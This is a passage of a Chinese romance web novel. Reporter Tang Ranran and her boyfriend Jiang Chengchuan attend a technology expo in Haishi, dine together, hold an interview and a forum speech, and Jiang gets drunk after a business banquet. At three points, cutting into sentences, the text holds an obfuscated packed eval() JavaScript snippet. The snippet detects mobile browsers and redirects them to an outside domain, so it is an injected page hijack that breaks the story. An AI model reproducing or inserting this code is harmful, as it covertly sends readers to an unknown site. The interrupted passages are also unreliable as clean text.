“这个是金童。”汤东民放下刻刀,清了一下木屑,给汤冉冉看自己手里正在刻的作品,“这俩凑一对,取名‘金童玉女’,送给你和小江的。” “……” 汤冉冉不能说不喜欢,但也实在是说不上喜欢,视线往别处扫了一下,这才注意到汤东民手边摆着的刻刀,正是江成川从香港带回来的那套。 “爸,您这刻刀用得还顺手吧?” “你别说,还挺好用,看来小江买之前做了一番功课。” “那就好,他之前还担心买到次的,影响您发挥呢。” “他有这份心就很好了。”汤东民语气里透着满意。 一段父慈女孝的对话之后,汤东民和汤冉冉从书房走出来,宋舒也正端着砂锅从厨房出来。 三个人打了个照面,宋舒问:“嘿,你们父女两在屋里聊什么呢?这么半天才出来,快去洗个手。” “聊小江啊。”汤东民赶紧接过宋舒手里的砂锅,是有点份量的,然后稳当当地放在餐桌上,“我看这孩子真好,为人处世各方面都好,哪哪都好。” “爸——”汤冉冉从洗手池喊了他一声,心里有点吃醋了,“你啥时候也这样夸夸我?” “我平时夸你还少?”汤东民走过来,伸手弹了一下汤冉冉的脑门儿,“谈恋爱这个事上,不就证明我女儿眼光很好!” “哈哈,这话我爱听!”汤冉冉乐了,不忘把手上没擦干净的水珠弹到汤东民的脸上报仇,从厨房溜了。 饭桌上,又是色香味俱佳的一餐,木耳炒娃娃菜,蒜炒西蓝花,蒸杂粮和莲藕排骨汤。 宋舒搅了几下砂锅,给汤冉冉舀了扎扎实实的一碗,提议道:“冉冉,要不找个时间让小江来家里吃顿饭吧?虽说你们处对象的时间短,但认识时间也不短了。” “对,你妈说得对。”汤东民跟着附和。 汤冉冉没接着答应,反倒觉得宋舒的话提醒她了。 一直以来,她总有种和江成川恋爱了很久的错觉,这是因为他们从学生时代就相识,加上她发现了明信片上的秘密造成的,实际上,她和江成川的现实恋爱刚刚开始。 “冉冉,听到没有?”宋舒提高了音量问。 “好好好,不过我这周得出差,刚好把周末占了,等回来再说吧。”汤冉冉不是扭捏回避,在谈婚论嫁这条道上,她自己有主意,要一步步来,一步都不能少。 “那说好了,你记着这个事,别回头一忙就给忘了。”宋舒还是不放心,又嘱咐了一句。 “知道了,妈——”汤冉冉给她碗里夹了几片山药,嘟囔道,“你们还怕江成川跑了不成?” 宋舒听出闺女这是不耐烦了,和汤东民对视了一眼,说道:“不说了不说了,吃饭吃饭。” 吃过晚饭,汤冉冉回到自己屋,冷不丁地发了条朋友圈,只有四个字: 未来可期。 25. 海市 一晃的功夫,已经是周三。 博览会明天开幕,今天和明天上午是媒体和参展商报到的时间。 江成川领着组员一行五个人乘坐一早的高铁抵达,到了直奔会展中心领取证件、熟悉现场、布置展位。汤冉冉白天跑了一场新闻发布会,等投完稿子再坐晚上的高铁到海市。 博览会办到第三届,参展的企业数量越来越多,受邀的媒体单位也越来越多。为此,组委会分散设置了多家媒体酒店和参展商酒店,提前预留一定数量的房间,房费也控制在差旅报销标准之内。 订酒店的时候,江成川本来想着他直接去汤冉冉入住的那家酒店单开一间房,后来又觉得这样的行为显得有些冒失过头,干脆放弃了这个想法,还是各住各的。 等江成川这边忙完,已经是下午五点多了,汤冉冉的高铁七点到,他可以先去办个入住,然后去找汤冉冉吃晚饭。 去酒店的地铁上,江成川又和组员们讨论了一下这几天的分工安排。 其实也不复杂,他们一共五个人,江成川作为组长,自然是要盯全天,剩下的四位同事,上午两个,下午两个,轮流来展位值守,空闲时间去同行的展位学习参观。 智达作为第一次参展的企业,展位安排在一个小角落里,不注意的话就略过了。出发之前,郑总给大家加油打气,万事开头难,这次就是探探路,不要有太大的心理负担。 办完入住后,大家各自回了房间,江成川在部门群里说了一句大家辛苦了,晚餐随意,留好发票回去报销。 房间里,他简单收拾了一下行李,然后坐在长条沙发上刷手机,想着等会直接在汤冉冉的酒店附近吃晚饭。 又过了一会,江成川发消息问。 “到站了吗?” “嗯,刚到,现在在地铁上,再有四十分钟到酒店。” “好,一会见。” 江成川收了手机,从酒店出发去和汤冉冉汇合,路过一个便利店的时候,他走进去买了一袋海市特产的梨膏糖。 十月下旬,霜降已过。 海市虽说是南方城市,但晚上风一吹,也有了凉意。江成川裹紧了身上的黑色夹克,快步走入地铁站内。 正是下班的时间,人流匆匆,摩肩接踵。在一个相对陌生的城市去和汤冉冉见面,他说不上来是一种怎样的心情,感慨而雀跃。 下了地铁,走了三四分钟,江成川看到一栋得有20层高的酒店大楼,拿出手机和汤冉冉给他发过的定位比对了下,没错,就是这儿。 “我到了,在大堂等你。” “好。”汤冉冉那边回得很快。 江成川在大堂踱步,目光密切关注着旋转门的人来人往。 又过了五分钟,一道熟悉的身影出现在他的视野里,汤冉冉穿了一身利落的牛仔套装,推着20寸的黑色行李箱往前台走。 江成川没有喊住她,而是自己乖乖走了过去,想拍一下她的肩膀,但又怕惹来惊吓,最终只是轻轻唤了一声:“冉冉。” 汤冉冉闻声回头,笑着打趣:“成川,不对,是江组长,几天不见又变帅了呢!” “是吗?”江成川两手一张,低头打量自己,大概是工作出差的缘故,着装确实不能太随意。 当然,主要是汤冉冉夸他的每一句话,他都当真。 “我先上去放行李,稍等我一会。”汤冉冉冲他挥了挥刚办好的房卡。 “嗯,不着急。”江成川这才意识到自己手里还拎着的梨膏糖,“对了,这个你拿着,展会上采访多,注意保护嗓子。” 汤冉冉愣了一下,看清包装上写的梨膏糖三个字,心里泛起一阵暖意,温柔地回了句:“好,谢谢。” 江成川站定没动,视线一直追随着她绕过人群,穿过走廊,消失在电梯间。 等汤冉冉再次出现时,已经八点多了,江成川从手机上找了几家餐厅,综合了口味和距离因素,然后把手机递给汤冉冉看,让她直接从里面选一个就好。 “要不,这个吧?” “好,我也倾向于这家。” 离酒店二百米远,海市人家,一家本地特色餐厅,开业二十多年,必吃榜单上的常客。 一落座,饥肠辘辘的两个人快速扫码下单,好在用餐高峰已过,几道菜很块就上齐了。 清炒虾仁,蒜蓉鸡毛菜,两例红烧肉,两碗米饭,又要了两块杏仁排做餐后甜点。 没顾上闲聊,两个人先动筷子吃了个五六分饱,才渐渐放慢了咀嚼的速度。 “对,成川,你们准备的怎么样了?” 汤冉冉一边问,一边舀了勺虾仁放在碗里,水晶虾仁色泽鲜亮,口感Q弹,但她前几口吃得太猛,现在已经有点吃不动了。 “还不错,就等明天开张。” 江成川说着放了筷子,把空盘往自己这边挪了下,又把盛着杏仁排的小碟子往她的方向推了推。 “嗯,等展会开起来就好了,往年都特别热闹。” “是吗?”江成川向后靠在椅背上,姿态放松地笑着说,“我们还担心门可罗雀,无人问津。” “不会的,到时候我去你们展位打个卡,还有采访呢,你别忘了准备准备。” “好好好。”江成川直起身,举起茶杯,“那我以茶代酒,先谢谢汤记者了。” “不客气呢。”汤冉冉被他突然的客套逗笑了,只好又斟了些茶水,拿起茶杯装模作样地碰了一下。 饶是江成川把杯子放得低,这一碰,汤冉冉杯子里的茶水涌了出来,溅进江成川的茶杯里,她赶紧开口:“哎——” “没事。”江成川则淡定许多,把茶杯放回手边,又给她递了张餐巾纸擦拭手上的水渍。 等汤冉冉慢悠悠地享用完酥脆的杏仁排,江成川才再次开口:“吃好了?” “嗯,咱们走吧。” “好。”江成川起身,把茶水一饮而尽,然后去前台结账了。 餐桌前,只留下汤冉冉一个人看着空了的茶杯出神。 回酒店的路上,夜色深重,行人稀少,江成川脱下黑色夹克要给汤冉冉披在身上。 “不用不用,很近就到酒店了。” “晚上冷。” 江成川言简意赅,话里话外透着一种不容置喙。 他其实不是个强势的人,甚至说更愿意把选择的机会交给汤冉冉,就像他会让汤冉冉选去哪家餐厅,让汤冉冉来点菜……比起拍板拿主意,他更想听从汤冉冉的安排。 但在有些事情上,他又想树立自己的绝对权威,尽管他也意识到这样有些霸道了。 “听话儿,你穿得薄,明天还有硬仗要打。”江成川换了一种话术。 “那你也会冷的。”汤冉冉和他僵持。 “我没事儿,来。”江成川近了一步,把夹克轻轻覆上汤冉冉的后背,又从前面收了一下领口,才重新和她并肩而行。 “对了,等这次出差回去,来我家吃法吧,我爸我妈跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004934|160471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我念叨好几回了。”汤冉冉感觉自己像是披了个黑色斗篷,夹克又大又沉,走路都慢了下来。 “好,求之不得。”江成川扭头看她,眼睛亮亮的,有种拿到入场券的兴奋。 酒店门口,汤冉冉把夹克还给江成川,摆摆手说了再见。 江成川坐地铁回自己的酒店,路上晚风吹得紧,他的耳廓红了一圈,但整个人仿佛感受不到冷一样,愣是把夹克搭在臂弯,步子迈得犹如二五八万,眉梢上写着志得意满。 周四,秋高气爽的好天气,海市进入博览会时间。 上午,先是进行了第三届国际科技产品博览会开幕式,然后是领导巡馆环节,江成川和汤冉冉各忙各的,虽然都在一个展馆里,但完全没时间照面。 中午,汤冉冉去媒体餐厅用餐,江成川因为要盯着展位,就和同事订了几份盒饭填肚子。 本届大会的主题是“科技牵手生活日常非比寻常”,参展的企业主要涉及科技、教育、医养、艺术等领域,来自三十多个国家和国际组织,是一场世界瞩目的盛会。 博览会期间,将在展馆二楼的几间会议厅同步举行多场平行论坛,参展企业共聚一堂,共谋科技发展新未来。 江成川也将代表智达参加两场平行论坛,一场是行业嘉宾的身份,坐在下面当观众,一场需要上台做主旨发言。 下午,汤冉冉把博览会开幕的新闻快讯转给江成川,顺便作为过来人,关心了一句:“感觉怎么样?” 此时,江成川正坐在会议厅听论坛,感觉西服口袋里的手机震了一下,拿出来低头看了一眼,抿着嘴回道:“还不错,静候汤记者莅临指导。” “好,等会展位见。”汤冉冉看他还有心情贫嘴,说明还算应付得来,便不再担心。 四点整,下午第一场平行论坛结束,嘉宾们陆陆续续离场,礼仪人员入场更换席签,十五分钟后将在这间会议厅开始第二场平行论坛。 江成川合上笔记本,起身整了下西服,刚要离席的时候听到有人喊他,带着明显的香港口音,他闻声回头一看,来人竟是盛凯科技的廖总,之前去香港出差的时候接待过他们。 “廖总好,很高兴在这儿碰见。”江成川回身快步迎了过去,大方伸手问好。 “看背影像你,没想到还真是,江先生,最近怎么样?”廖总声音低沉浑厚,只凭上次短暂一见,就对眼前的年轻人印象深刻。 “托和盛凯合作的福,智达业绩稳中有升,对未来发展大有信心。”江成川很谦虚,但说的也是实话。 前一阵,智达和盛凯签订了合作协议,将在年底正式启动人工智能实验室的共建共享,顺利的话,明年下半年会有第一款合作产品推向市场。 “江先生客气,我们是互惠互利。”廖总提议,“今晚有时间的话,我邀请您和同事们一聚。” “不敢让您破费,要不等展会圆满结束那天,咱们两家再好好聚聚。” “也好也好,江先生考虑周全,那改日再约。” “好,到时主动和您联系。” 说罢,江成川做了个请的手势,两个人一起走出会议厅,廖总的秘书已在门外等待。 目送他们离开后,江成川没去等电梯,而是转身大步朝楼梯口迈去。 平静无风的展馆内,西服下摆因为加快的步速而向后撩起,关键时刻,他觉得还是走路最快。 江成川守时,他和汤冉冉约好在展位接受采访,不想让她等太久。 26. 梨膏糖 显然,江成川低估了一名记者的攀谈能力。 还隔着四五个展位,他看见周旭拉着汤冉冉在兴高采烈地聊着什么,边说还拿出手机来比划。 “说什么呢,这么开心?”江成川走过去,把周旭往自己身边拽了一把,眼神警示他刚才过于热情了。 “说你呢,哥。”周旭嗓门还是那么大。 “我?” “对啊。”汤冉冉接了话,“说你坐飞机的时候,一个人从那里翻手机相册,几张照片来回划了得八百遍,有这回事吗,江组长?” 江成川神情一顿,瞟了一眼身边的周旭,“哥——我说的是事实啊!就国庆回来飞香港那次,你忘了?”周旭缩着脖子,但嘴皮子倒是利索。 “对。”江成川两手一插裤袋,十分坦荡地承认了,然后视线移到汤冉冉身上,淡淡开口,“我看自己女朋友的照片,有什么问题吗,汤记者?” “……你!”不愧是江成川,总能面色如常的全身而退,汤冉冉害羞地清了下嗓子,“咳……没问题没问题!” “既然没问题的话,那请开始我们的采访吧?”江成川成功把话题扭了回来,又看向身边的周旭,“你说呢?” “对对对。”周旭点头如捣蒜,“汤记者,咱们快开始吧。” 汤冉冉跟在江成川身后,绕到展位内侧一块相对整洁的空地上,虽说是自家人来采访,但是礼数不能少—— 周旭从别处拉了两把塑料椅过来,相对摆放,又找了个结实的大纸箱当小桌,还去自助机买了两瓶矿泉水,这样一拾掇,感觉像样多了。 展馆内,人声嘈杂,汤冉冉只好提到了音量:“江组长,智达第一次参加博览会,感受如何?” “我和同事们都非常激动,对这几天的日程充满期待。” “还有呢?” “嗯……直观感受到办会的规格高、规模大,可以结交新朋友,扩展合作机会。” “好,那可以介绍一下智达本次参展的产品吗?” “嗯,我们这次带来的都是小型的人工智能产品,我挑一个比较贴近生活的介绍吧。”江成川招呼了一声周旭,让他把展架上最右侧的一个产品拿了过来。 “汤记者,你看,这是我们去年底推出的一款人工智能音箱,它的外观设计简约,小巧便携,适合经常出差的人士使用。” “那它在功能上有什么特点呢?”汤冉冉从江成川手里接过音箱,掂了两下,确实轻巧。 “主要是配合外出使用的一些性能,比如防尘防水、长时间续航,再就是注重用户个人偏好的数据收集利用,进一步规避了‘误听’的情况,可以成为使用者日常生活的一种陪伴。” “听起来还不错,那未来一段时间,智达的产品方向可以介绍一下吗?” “嗯,我们最近和香港的一家科技企业达成了合作意向,将针对教育场景下的人工智能应用进一步探索,尤其是AI进乡村课堂这方面吧。” 等江成川回答完最后一个问题,时间刚好过去三十分钟,汤冉冉把采访本一合,站起来笑着调侃道:“江组长准备很充分嘛,侃侃而谈!” “过奖过奖,还是汤记者引导得好。”江成川面对媒体的经验并不丰富,最近的这两次还全都贡献给了汤冉冉,“今天还有采访吗,等会一起吃饭?” “嗯……”汤冉冉在脑子里过一遍手头的工作,感到有些抱歉,“不行啊,成川,今天开幕稿子比较多,我打算直接回酒店,点个外卖算了。” “好,那我送你出去。”江成川对记者的工作节奏略有耳闻,自然不会勉强,“对了,明天上午在第二会议厅的平行论坛,我代表智达做主旨发言,你有时间的话……” “有!必须捧场。”汤冉冉抢答。 “好好好,感谢汤记者拨冗莅临。”江成川不再多说,从前面开了条路,抬高手臂护在汤冉冉后背,直到走出拥挤的展馆。 晚上十点半,江成川给汤冉冉发了条消息:“明早九点半,第二会议厅,不见不散。” 手机响的时候,汤冉冉正往脸上抹着眼霜,她用小拇指按住说话键,回了条语音:“不见不散,江组长。” 江成川躺在床上,一段语音反复听了三五遍,才恋恋不舍地把手机放回床头柜充电,他揉了下酸胀的眼眶,心里还想着过一遍明天的演讲词,但白天在展馆忙活了一天,没一会就睡着了。 周五,博览会第二天,江成川换了一身深灰色的西装,又搭了一条同色系的领带,西裤前一晚熨过,裤型有如量身定制,裤长正好触及深棕色皮鞋的鞋面,出门前,他又对着镜子撩了一把额前的碎发,整个人从头到脚都透着成熟的精英范儿。 论坛开始前十五分钟,会议厅已经坐了个七七八八,主持人提示参会嘉宾把手机调成静音,论坛即将开始。 汤冉冉坐在倒数第二排的媒体坐席,低着头发了条消息:“你是第几个?” “第四个。” “好,别紧张!” “没紧张。”江成川坐在第一排左侧,便于等会上台发言,他稍微侧身朝后看,一眼就找到了汤冉冉坐的位置。 似是有心电感应,汤冉冉抬头时正对上他投来的目光,两个人的视线隔空轻轻碰了一下,又各自望向别处。 每位嘉宾有十分钟的演讲时间,会有礼仪人员提醒时间,十点钟的时候,轮到江成川上台了。 他从座位上起身,和邻座的几位嘉宾微笑致意,然后弓着背快步来到台侧,等主持人串词结束,在一阵热烈的鼓掌声中,江成川迈步上台,身姿挺拔,气质出众。 “各位好,我是来自智达科技的江成川,很荣幸参与本场论坛的行业分享,下面我将从……” 明明是庄重严肃的会议场合,但汤冉冉总有种老母亲看着自家儿子参加幼儿园汇报表演的欣慰感,先是拿着手机拍了几张,后来直接录起视频,一直举着手臂也不觉得累。 坐在她旁边的记者有点好奇,默默观察了会,终于还是忍不住了,掩嘴轻声问:“台上的这是哪位低调的行业大佬吗?” “啊?”汤冉冉倒了个手继续拍,小声回道,“是潜力股,潜力股。” 且被汤冉冉买断的那种。 “哦……原来如此。”这位记者也赶紧用手机拍了一张,心想管他是何方神圣,当作稿件配图也很养眼嘛。 讲台上,江成川的发言已近尾声,吐字清晰,嗓音清亮。 “各位前辈,各位同仁,智达作为人工智能领域的从业者,未来将持续助力于行业的发展,锐意改革,攻坚克难,期待与大家共同见证科技进步的高光时刻。” “最后,我想以本届博览会的主题语作结,也当抛砖引玉。” 江成川停顿片刻,环视会场,似是成竹在胸。 “各位,’科技牵手生活日常非比寻常’,作为回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017256|160471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应,准备好牵手了吗?” 话音落下,江成川抬手做邀请之意,目光像是一道离弦之箭,直直落向倒数第二排的媒体座席。 “哎,这个嘉宾好像是看的咱们这边啊?”刚才的那位记者碰了碰汤冉冉的手臂问。 “哦是吗?”汤冉冉明知故问,脸上一阵灼热。 在一片掌声中,江成川收起讲稿,鞠躬下台。 上午的平行论坛结束,嘉宾陆续离席,汤冉冉拎着采访包往座位前排走,江成川还在整理他的公文包。 “成川,给——”汤冉冉走到他面前,摊开掌心。 “嗯?”江成川先抬头看她,又把视线落到她的掌心上,是一颗梨膏糖。 “借花献佛,润润嗓子。”汤冉冉又把手掌往他面前递了递。 “好,谢谢。”江成川欣然拿过,他的指甲剪得极短,从汤冉冉的掌心划过,只留下指腹干燥的温热。 糖送出去了,汤冉冉立马收回手掌垂到身侧,手指蜷缩挠了两下掌心,感觉痒痒的。 江成川拎起公文包,又顺手接过汤冉冉的采访包,两个人一同往外走,他含着梨膏糖,开口说话时有淡淡的薄荷味,问道:“我刚才表现怎么样?” “特别好。” “怎么个好法儿?” “前无古人,后无来者。”汤冉冉开始胡言乱语。 “嚯,这么高的评价?” “可不,我还兼职全程录像了呢~”汤冉冉朝他扬了一下手机,证明自己并没有开玩笑。 “有心了,汤记者。” “你这话说的,记者可做不到这个份儿上。” “那是……”江成川懂了,稍微俯身靠近汤冉冉,话音含笑,“谢谢我的女朋友?” “不客气呢。”汤冉冉抿着嘴,往前快走了几步。 两个人在楼梯口分别,江成川直接回展位,汤冉冉去媒体中心写稿子,午饭时间紧张,约好了晚上再一起吃饭。 下午,江成川接待了两位海市本地的客户,他们对智达的产品很感兴趣,加上周旭一张能说会道的嘴,双方愉快地交换名片。 汤冉冉把稿件传给秦青审阅,反馈也不错,只叮嘱了句把握好发稿节奏,别一口气都投给编辑。 总而言之,两边的进展都很顺利。 江成川提前预订了一家江边的西餐厅,晚上六点,两个人已经在烛光晚餐了。 餐桌上,点缀着娇艳的玫瑰花瓣,服务生单手托盘上菜,香煎牛排,藜麦沙拉,蜜汁烤翅,南瓜浓汤,西班牙海鲜饭,和醒好的干红葡萄酒。 “此情此景,好像该说点什么?”汤冉冉举了酒杯,摇晃着杯中的液体,杯壁上留下浅红色的酒痕。 “美酒佳人,吾之幸事。” 西餐厅的光线幽暗,可江成川的目光含情,明亮如炬。 “与君共饮,吾之幸事。” 汤冉冉脱口而出,然后和他的酒杯碰了一下,发出一声动人的脆响。 晚饭后,两个人沿着江边散步,江上有游轮驶过,激起一朵朵浪花和一层层水纹,江水发出澎湃的响声。 “冉冉。”江成川虚握拳头又松开,斟酌着,“可以牵你的手吗?” “嗯?”汤冉冉停下脚步,转身看他,“如果我说不可以呢?” 江成川深吸了口气,等周围没人经过的时候,镇定说道: “那我就,先礼后兵。” 27. 思故乡 周六,博览会第三天,展馆里比前两天更热闹了。 不少市民看了新闻才知道家门口有国际展会,于是趁着周末的功夫来开开眼,何况有些科技产品之前都是隔着屏幕才能见到的。 对于智达这样的年轻企业来说,直接和潜在的消费者面对面,无疑是一次难得的自我推介和市场调研机会,江成川特意让周栋去附近的文印店又打了些宣传册带过来。 “哥,你别说,咱这次还真是叫好又叫座。”周栋把宣传册整齐码放在展位的桌子上,看起来相当有干劲。 “等展会结束,我请大家吃饭。”情况远超预期,江成川自然心情也不错,“回头整理一下这次的参会经验,好好复盘总结。” “遵命!”周栋一拍胸脯应下了。 忙活了一早上,等到中午盒饭送来的时候,江成川拍了张照片发给汤冉冉,问:“你吃了吗,咱们这算不算是同款盒饭?” 此时,汤冉冉已经坐在回南城的高铁上了。 原本她打算和江成川一块回,但昨晚临睡前接到秦青的紧急来电,说周天有个紧急采访,需要全员上阵,让她周六就往回赶。 列车一路向北,乘务员端着餐盘过来,躬身道:“女士,您点的套餐,小心烫。” “谢谢。”汤冉冉捏着盒饭的两角,撕开塑料膜,标准的两素两荤,她拍了一张发给江成川,“在吃了。” “好,慢慢吃,到了说一声儿。” “嗯。” 吃过午饭,江成川和周栋交代了几句,然后一个人在展馆里闲逛,前两天光忙着盯自家展位了,都没来得及去同行那里找找灵感。 江成川看得仔细,觉得有意思的就拍下来发给汤冉冉,一溜展位看下来,手里攒了好几份广告单。 他拐了个弯,正要往另一排展位走,迎面看见了个“熟人”。 “任……医生?”江成川试探着喊了一声。 “不好意思,您是……”任飞闻声停下,觉得这人眼熟,但又一下想不起来。 “哦,我是……”江成川思索了下,该怎么介绍自己,“您还记得有个患者叫柳如意吗,就上周,我和冉冉陪着去看的病。” “对,我叫江成川,这次凑巧代表我们公司来参会。”他又补了一句。 “江先生,幸会幸会。”任飞想起来了,主动摊开了说,“汤记者之前提起过,上次只是一面之缘,江先生青年才俊,你们很是般配。” “谢谢谢谢。”江成川语气诚恳,他本意不是来宣誓主权的,刚才之所以有些冒昧地喊住任飞,是因为他乡遇故知的欣喜,“任医生也来参会?” “哦不是,周末轮休,陪着导师一起来转转。”任飞指了一下他来的方向,“那边有不少医疗行业的科技产品,人工心脏、心脏起搏器,有些在南城还比较少见。” “是啊是啊,确实让人大开眼界。”江成川附和,顺便提了一嘴智达在医疗板块的产品,任飞听了很感兴趣。 展馆内嘈杂,不是久聊的场合,江成川和任飞互相加了微信,说是以后常联系。 之后,江成川又转了半个来小时,就回了展位,路上收到汤冉冉的消息,说已经下了高铁,往家走了。 昨天还手牵手在江边踩着夜色散步,今天倒有些天涯若比邻的意味了,江成川陡然心生一种孤独感,觉得自己怎么变矫情了。 汤冉冉不在,江成川也没有了探店的兴致,老老实实继续吃盒饭当做晚餐。 不过,他还记着自己欠着两顿饭,一顿是和廖总的,一顿是和组员的,反正都是为了庆祝这次参会,干脆明天攒个大局一并解决。 周日下午,博览会闭幕,江成川提前和廖总约了时间,晚上六点,在海苑大酒店。 包间内,轻奢大气的现代装修,华丽的水晶吊灯散发出柔和的光线,十二人的大圆桌相当气派,精致的餐具摆放讲究,服务生已站在门外,等待客人的到来。 江成川和廖总的两队人马前后入座,服务生顺次奉上擦手的热毛巾,又收走了女性座位上的白酒分酒器,一切妥当后,开始起菜。 廖总用公筷给江成川夹了几段脆嫩的西芹,是刚上的一道凉菜,关心问:“江先生,你们明日返程?” “谢谢廖总,自己来就好。”江成川先客套了句,然后回答,“对,明天上午的高铁,您们呢?” “凌晨的航班,公司里还有一堆事等着处理,出差也难讨清净。”廖总用汤匙搅动着面前的例汤,像是在发牢骚,“人啊,越往上走越有处理不完的工作,一个接着一个,不知道什么时候是个头儿。” 这话乍一听有点凡尔赛,但江成川换位一想,也不无道理,驰骋商场的成功人士,谁没有身不由自、无可奈何的时候,不过这还不是他现在需要考虑的问题。 “廖总亲力亲为,是为我们的表率,这顿饭不谈工作,只当吃个庆功饭、团圆饭。”江成川说了几句场面话,举杯敬酒,态度诚恳。 一顿饭吃了将近三个小时,酒店门前,江成川站在台阶上,招手目送廖总一行上了两辆商务车,车灯一打,直奔机场的方向。 等送完客,江成川才感到一阵阵脑袋眩晕,脚底虚浮,他酒量尚可,但今天喝得太急,胃里又没有东西,往回走了两步意识到不对,赶忙扶住旁边的周栋。 “哎?哥?”周栋今天喝得少,整个人还算清醒,见江成川身子一歪,便立马伸手撑住。 “我没事,就是有点头晕,叫个车送大家回酒店。” “行,你从这等我会,站稳。”周栋叫了车,先招呼着女同事回去,过了三五分钟,才转个头来找他。 江成川倒也真的没有乱动,整个人倚在酒店门口的立柱上,仰着脖子看天。 “别看了,走吧走吧,车到了。”周栋伸手在江成川眼前比划了两下,见他无动于衷,于是毫不客气地一手搭肩,一手搂腰,三两下就把他塞到了出租车后排。 上了车,江成川身子后仰,也不撒酒疯,只是安静地透过车窗看着后退的路灯,圆圆亮亮的,就像今天天边的月亮。 等到了酒店,周栋重复刚才的操作,把江成川从出租车里捞出来,又扶着他回了房间,给他桌上放了杯温水之后,才关门离开。 周栋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030551|160471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从心里表扬自己,我真是中国好员工啊。 听见门响的声音后,江成川撑着胳膊从床上直起身来,眼前还在天旋地转,胃里有如翻江倒海,他用手按了按太阳穴,想下床去把窗帘拉上,明明床头就有控制窗帘开合的按键。 一步,两步,终于挪到窗前的小沙发旁边,他把膝盖搭在坐垫上,伸手去够窗帘边。 今天是什么日子,月亮可真圆啊,江成川被掩映在高楼上的月光吸引住了,一时间忘了该干什么。 他怔愣了一会,从西裤口袋里摸出手机,亮起的屏幕上显示农历十五,怪不得呢。 月光穿透窗纱,只在房间内留下影影绰绰的线条,江成川半醉半醒,嘴里不自觉开始背起了诗—— 床前明月光,疑是…… 念叨到最后三个字时,他咂摸了好几遍,觉得没有谁能比现在的自己更懂李白了。 思故乡。 等意识彻底回笼,江成川感觉肩颈酸痛,他竟然在沙发上蜷着睡了一宿,窗帘就这么大敞着,照进来的是刺眼的太阳光。 手机不知何时滑落在地毯上,他拾起来看了一眼,已经是周一上午的十点钟了,距离他们那趟高铁发车还有三小时,还好还好。 他眯着眼点开微信,除了周栋八点钟的时候问他去不去吃早餐,之后又问需不需要给他打包一份上来,之后再没有其他消息。 不过朋友圈却显示有好几条点赞提醒。 江成川随手点进去,又退出来,再次点进去,在震惊之余,他确认手里拿的是自己的手机,页面上登录的是自己的微信账号。 然而,昨天晚上十点五十七分,他发了条朋友圈,无意识的。 配图就是从他现在的视角望出去的一片天空,彼时天上挂着的还是月亮,照片看起来抽象而朦胧,大概是当时手抖拍糊了。 还附了一句诗:举头望明月,低头思故乡。 这个他有印象,也是对昨天晚上最后的印象。 再往下看,一长串的好友点赞,大家真是不明所以地前来捧场,还有零星的几条评论,其中有一条来自郑总。 “成川,辛苦,你们组回来可以申请调休。” 江成川感到两眼一黑,握起拳头重重砸在自己的脑门上,恨不能立刻昏睡过去。 接着,他又突然想起什么,仔细看了一遍点赞的微信头像,没有汤冉冉,看来真的是在忙着采访。 江成川从沙发上起来,点了个外卖,把手机充上电,然后去卫生间冲澡、洗漱,再出来时已经神清气爽,又恢复了干净利落的形象。 中午十二点,江成川一行人从酒店退房,叫了辆车往高铁站走。 一上车,周栋就凑过来问:“哎对,哥,汤记者啥时候回啊,用不用捎上她一起?” 江成川脸上没什么表情,淡淡回了句:“她提前回南城了。” “哦……懂了。”周栋早上刷到朋友圈的时候还纳闷,像江成川这样的出差达人,来海市待个几天,怎么还吟诗作对诗兴大发了。 “懂什么?”江成川扭头看他。 “懂李白。”